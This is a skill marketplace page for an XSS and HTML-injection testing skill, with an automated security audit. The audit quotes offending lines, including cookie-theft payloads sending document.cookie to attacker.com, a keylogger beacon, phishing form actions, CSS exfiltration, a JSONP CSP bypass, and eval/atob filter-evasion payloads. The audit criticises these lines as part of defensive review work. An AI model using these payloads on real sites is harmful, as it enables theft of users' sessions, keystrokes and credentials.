Skills cross-site-scripting-and-html-injection-testing
📦
cross-site-scripting-and-html-injection-testing
v1.1 Content revision r1 Critical ⚡ Contains scripts⚙️ External commands🌐 Network access📁 Filesystem access
Assess XSS and HTML Injection Risks
Web applications can reflect unsafe input and expose users to client-side attacks. This skill helps authorized testers plan XSS checks, classify findings, and document remediation.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "cross-site-scripting-and-html-injection-testing" from https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-cross-site-scripting-and-html-injection-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "cross-site-scripting-and-html-injection-testing". Create a test plan for an authorized search page assessment.
Expected outcome:
- Confirm scope, accounts, data handling, and allowed test windows.
- Test reflection in query parameters, result titles, error messages, and saved searches.
- Record whether output is encoded, sanitized, blocked, or executed.
Using "cross-site-scripting-and-html-injection-testing". Summarize a DOM XSS code review finding.
Expected outcome:
- User-controlled URL data reaches an unsafe rendering sink.
- Impact is script execution in the victim browser if input is not encoded.
- Remediation is to use text-only rendering or a vetted sanitizer.
Using "cross-site-scripting-and-html-injection-testing". Prepare remediation guidance for a stored XSS issue.
Expected outcome:
- Encode user content for the exact output context before rendering.
- Validate input length and type, but do not rely on validation alone.
- Add regression tests and monitor for stored unsafe markup.
Security Audit
Criticalv4 • 7/6/2026 Open versioned report
The audit confirms serious risks: the skill provides actionable XSS payloads for cookie theft, keylogging, session capture, phishing, and CSP bypass. Many shell-backtick and filesystem findings are false positives from Markdown or payload syntax, but the offensive exfiltration guidance remains security-relevant. The skill should be rewritten before publication to use harmless, authorized testing examples only.
1
Files scanned
500
Lines analyzed
31
Review items
0
False positives ignored
Confirmed security concerns (9)
Critical
Certificate/key files
new Image().src='http://attacker.com/log?k='+e.key;
Although the pattern label is imprecise, the line sends captured keystrokes to an attacker endpoint. That is sensitive user input exfiltration.
Critical
Keylogger keywords
<!-- Keylogger injection -->
The file labels and provides a keylogger injection payload that captures keystrokes. This is direct credential-theft capability, even in example form.
Critical
Credential and Session Exfiltration Guidance
The skill provides payloads for cookie theft, keylogging, session capture, and phishing form collection. This goes beyond safe validation guidance.
Multiple sections explicitly demonstrate stealing cookies, capturing keystrokes, collecting credentials, and sending session data to attacker endpoints.
High
Base64 decode
<script>eval(atob('YWxlcnQoMSk='))</script>
Base64 decoding is combined with eval in an XSS payload. The context is filter evasion for script execution, not benign data handling.
High
Base64 encode
new Image().src='http://attacker.com/c='+btoa(document.cookie);
Base64 encoding is used while sending document.cookie to an attacker endpoint. That is obfuscated session-data exfiltration guidance.
High
Social Engineering Delivery Guidance
The skill recommends phishing emails, social messages, URL shorteners, QR codes, redirect chains, and phishing delivery of crafted attack URLs.
The delivery section names victim-delivery methods, and the reflected XSS example says to send the crafted URL by phishing email.
High
Security Control Bypass Guidance
The skill gives reusable filter, CSP, and WAF bypass techniques instead of limiting guidance to defensive validation and remediation.
The cited sections include JavaScript obfuscation, JSONP-based CSP bypass, and troubleshooting advice for WAF-blocked payloads.
Medium
Unicode escape sequence
<script>\u0061lert(1)</script>
Unicode escaping appears inside XSS payload examples for bypassing filters. The context makes it security-relevant evasion guidance.
Show all 9 confirmed findings
Medium
Unicode escape sequence
<img src=x onerror=\u0061\u006cert(1)>
Unicode escaping appears inside XSS payload examples for bypassing filters. The context makes it security-relevant evasion guidance.
Capability review items (31)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Hardcoded URL
new Image().src='http://attacker.com/log?k='+e.key;
The URL is used to send captured keystrokes to an attacker endpoint. This is keylogging and sensitive data exfiltration guidance.
High
Dynamic code evaluation with eval()
eval()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
High
Dynamic code evaluation with eval()
<script>eval('al'+'ert(1)')</script>
The payload uses dynamic JavaScript execution to evade filters and trigger script execution. This is actionable XSS exploitation guidance.
High
Dynamic code evaluation with eval()
<script>eval(atob('YWxlcnQoMSk='))</script>
The payload uses dynamic JavaScript execution to evade filters and trigger script execution. This is actionable XSS exploitation guidance.
High
Dynamic function constructor
Function()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
High
document.write injection
document.write()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
High
innerHTML assignment (XSS risk)
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
The example assigns URL hash data directly to innerHTML. That is a concrete DOM XSS pattern using user-controlled input.
High
Fetch API call
fetch('http://attacker.com/capture',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
High
Fetch API call
fetch('https://attacker.com/log',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
High
Hardcoded URL
document.location='http://attacker.com/steal?c='+document.cookie
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
High
Hardcoded URL
fetch('http://attacker.com/capture',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
High
Hardcoded URL
<form action="http://attacker.com/phish" method="POST">
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
High
Hardcoded URL
<form action="http://attacker.com/capture">
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
High
Hardcoded URL
input[value^="a"]{background:url(http://attacker.com/a)}
The URL appears in CSS-based data exfiltration examples. The context shows extraction of input values through attacker-controlled requests.
High
Hardcoded URL
input[value^="b"]{background:url(http://attacker.com/b)}
The URL appears in CSS-based data exfiltration examples. The context shows extraction of input values through attacker-controlled requests.
High
Hardcoded URL
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:1
The URL is used in phishing or form-hijacking examples that collect user credentials. This is actionable social-engineering guidance.
High
Hardcoded URL
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
High
Hardcoded URL
fetch('https://attacker.com/log',{
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
High
Hardcoded URL
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
High
Hardcoded URL
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+do
The URL is part of a payload that sends cookies, local storage, or session context to an attacker endpoint. That is credential or session exfiltration.
High
Hardcoded URL
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
The URL is used as a JSONP-based CSP bypass example. That is actionable guidance for bypassing a browser security control.
Medium
insertAdjacentHTML (XSS risk)
element.insertAdjacentHTML()
The line catalogs unsafe DOM sinks used to locate exploitable client-side injection paths. In this skill, that guidance supports XSS exploitation.
Medium
Hardcoded URL
https://target.com/search?q=<script>alert(document.domain)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medium
Hardcoded URL
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medium
Hardcoded URL
https://target.com/page?name="><img src=x onerror=alert(1)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medium
Hardcoded URL
https://target.com/page#<script>alert(1)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medium
Hardcoded URL
https://target.com/page#<img src=x onerror=alert(1)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medium
Hardcoded URL
https://target.com/page?default=<script>alert(1)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medium
Hardcoded URL
<iframe src="https://target.com/vulnerable"></iframe>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medium
Hardcoded URL
https://shop.example.com/search?q=<script>alert(document.domain)</script>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Medium
Hardcoded URL
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
The URL is an exploit example for reflected or DOM-based XSS against a target endpoint. It can be used to validate or abuse client-side injection.
Risk Factors
⚡ Contains scripts (7)
⚙️ External commands (64)
SKILL.md:49-58 SKILL.md:58-63 SKILL.md:63-78 SKILL.md:78-108 SKILL.md:108-115 SKILL.md:115-119 SKILL.md:119-149 SKILL.md:149-156 SKILL.md:156-168 SKILL.md:168-173 SKILL.md:173-179 SKILL.md:179-186 SKILL.md:186-200 SKILL.md:200-205 SKILL.md:205-215 SKILL.md:215-219 SKILL.md:219-232 SKILL.md:232-239 SKILL.md:239-257 SKILL.md:257-262 SKILL.md:262-273 SKILL.md:273-279 SKILL.md:279-295 SKILL.md:295-299 SKILL.md:299-311 SKILL.md:311-315 SKILL.md:315-320 SKILL.md:320-329 SKILL.md:329-331 SKILL.md:331-335 SKILL.md:335-345 SKILL.md:345-350 SKILL.md:350-356 SKILL.md:356-362 SKILL.md:362-363 SKILL.md:363-364 SKILL.md:364-365 SKILL.md:365-366 SKILL.md:366-367 SKILL.md:367-368 SKILL.md:368-371 SKILL.md:371-375 SKILL.md:375-378 SKILL.md:378-390 SKILL.md:390-419 SKILL.md:419-424 SKILL.md:424-429 SKILL.md:429-434 SKILL.md:434-443 SKILL.md:443-445 SKILL.md:445-448 SKILL.md:448-450 SKILL.md:450-453 SKILL.md:453-455 SKILL.md:455-464 SKILL.md:464-466 SKILL.md:466-469 SKILL.md:469-471 SKILL.md:471-480 SKILL.md:480-482 SKILL.md:482-485 SKILL.md:485-487 SKILL.md:487-496 SKILL.md:496
🌐 Network access (26)
SKILL.md:134 SKILL.md:380 SKILL.md:122 SKILL.md:128 SKILL.md:134 SKILL.md:143 SKILL.md:158 SKILL.md:161 SKILL.md:164 SKILL.md:167 SKILL.md:221 SKILL.md:224 SKILL.md:228 SKILL.md:244 SKILL.md:251 SKILL.md:252 SKILL.md:256 SKILL.md:373 SKILL.md:380 SKILL.md:432 SKILL.md:444 SKILL.md:449 SKILL.md:454 SKILL.md:470 SKILL.md:481 SKILL.md:486
📁 Filesystem access (1)
Detected Patterns
Keylogger keywords
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-cross-site-scripting-and-html-injection-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-cross-site-scripting-and-html-injection-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
sickn33. (2026). cross-site-scripting-and-html-injection-testing security audit report (audit version 4) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4BibTeX citation
@techreport{sickn33-sickn33-cross-site-scripting-and-html-injection-testing-2026,
author = {sickn33},
title = {cross-site-scripting-and-html-injection-testing security audit report (audit version 4)},
institution = {Skillstore},
year = {2026},
number = {4},
url = {https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "cross-site-scripting-and-html-injection-testing security audit report (audit version 4)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-06"
url: "https://skillstore.io/skills/sickn33-cross-site-scripting-and-html-injection-testing/audits/4"
identifiers:
- type: other
value: "skillstore:sickn33-cross-site-scripting-and-html-injection-testing:audit:4"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Plan an Authorized XSS Assessment
Create a scoped checklist for testing reflected, stored, and DOM-based injection paths.
Review Risky Client-Side Code
Identify unsafe DOM sinks and recommend safer rendering patterns for user-controlled data.
Document Confirmed Findings
Turn observed behavior into clear impact, reproduction, and remediation notes.
Try These Prompts
Create a Safe Test Plan
I have written authorization for this web app. Build a non-destructive XSS and HTML injection test plan for the scoped pages.
Map Reflection Points
Given these forms, URL parameters, and headers, identify likely reflection points and suggest safe validation steps.
Analyze DOM Sinks
Review this client-side flow for user-controlled sources, unsafe DOM sinks, and safer rendering alternatives.
Write the Finding Report
Convert my authorized test observations into a concise XSS report with impact, evidence, severity, and remediation guidance.
Best Practices
- Use only scoped accounts, scoped targets, and synthetic data during testing.
- Prefer harmless proof-of-execution markers over data capture payloads.
- Document source, sink, context, impact, and remediation for each finding.
Avoid
- Testing production users or real sessions without explicit approval.
- Using payloads that collect credentials, cookies, keystrokes, or local storage.
- Treating a blocked payload as proof that the application is secure.
Frequently Asked Questions
Is this skill only for authorized testing?
Yes. Use it only with written authorization, defined scope, and approved data handling rules.
Does it run an automated scanner?
No. It provides manual testing structure, analysis prompts, and reporting guidance.
Can it help with DOM-based XSS review?
Yes. It lists common sources, sinks, and review questions for client-side code paths.
Does CSP remove all XSS risk?
No. CSP reduces impact, but output encoding and safe DOM APIs are still required.
What evidence should a report include?
Include scope, affected input, execution context, impact, screenshots or notes, and remediation steps.
How should unsafe examples be handled?
Replace them with harmless markers and synthetic tokens before any real assessment.